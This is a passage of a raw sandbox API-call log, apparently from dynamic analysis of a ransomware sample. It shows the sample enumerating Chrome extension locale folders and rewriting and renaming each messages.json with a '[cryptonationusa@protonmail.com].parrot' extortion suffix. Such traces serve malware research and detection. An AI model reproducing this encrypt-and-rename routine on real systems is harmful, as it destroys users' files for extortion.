hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3fdc, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x3fdc, lpOverlapped=0x0) returned 1 [0074.800] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.801] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x40f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.801] CloseHandle (hObject=0x274) returned 1 [0074.802] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_pt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.805] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.805] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835990b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba129160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba129160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.805] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835a5400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a5400, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba103000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x40f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.805] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.805] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.805] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835aa220, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b1750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835b1750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.805] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.805] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.805] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835b1750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b3e60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83990ab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x40db, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.806] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x41f3, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.806] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.806] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.808] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.808] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x40db, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x40db, lpOverlapped=0x0) returned 1 [0074.810] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.811] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x41f3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.811] CloseHandle (hObject=0x274) returned 1 [0074.811] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.814] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.814] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835aa220, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba129160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba129160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.814] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835b1750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b3e60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba129160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x41f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.814] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.814] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.814] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835b6570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b8c80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835b8c80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.814] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.814] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.814] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835b8c80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835bb390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839931c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x490e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.816] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4a26, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.816] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.816] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.818] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.818] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x490e, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x490e, lpOverlapped=0x0) returned 1 [0074.820] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.821] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4a26, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.821] CloseHandle (hObject=0x274) returned 1 [0074.822] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.826] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.826] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835b6570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba14f2c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba14f2c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.826] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835b8c80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835bb390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba14f2c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4a28, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.826] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.826] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.826] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c01b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c01b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835c01b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.826] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.826] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.826] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835c01b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c28c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839931c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x40fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.827] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4215, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.827] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.827] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.828] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.828] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x40fd, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x40fd, lpOverlapped=0x0) returned 1 [0074.830] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.831] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4215, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.831] CloseHandle (hObject=0x274) returned 1 [0074.831] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.834] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.834] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c01b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba14f2c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba14f2c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.834] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835c01b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c28c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba14f2c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.834] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.835] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.835] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c4fd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c9df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835c9df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.835] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.835] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.835] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835c9df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c9df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839931c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x407a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.836] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4192, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.836] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.836] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.837] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.838] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x407a, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x407a, lpOverlapped=0x0) returned 1 [0074.841] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.841] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4192, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.841] CloseHandle (hObject=0x274) returned 1 [0074.842] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.844] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.845] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c4fd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba175420, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba175420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.845] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835c9df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c9df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba175420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4198, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.845] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.845] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.845] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835cec10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835cec10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835cec10, 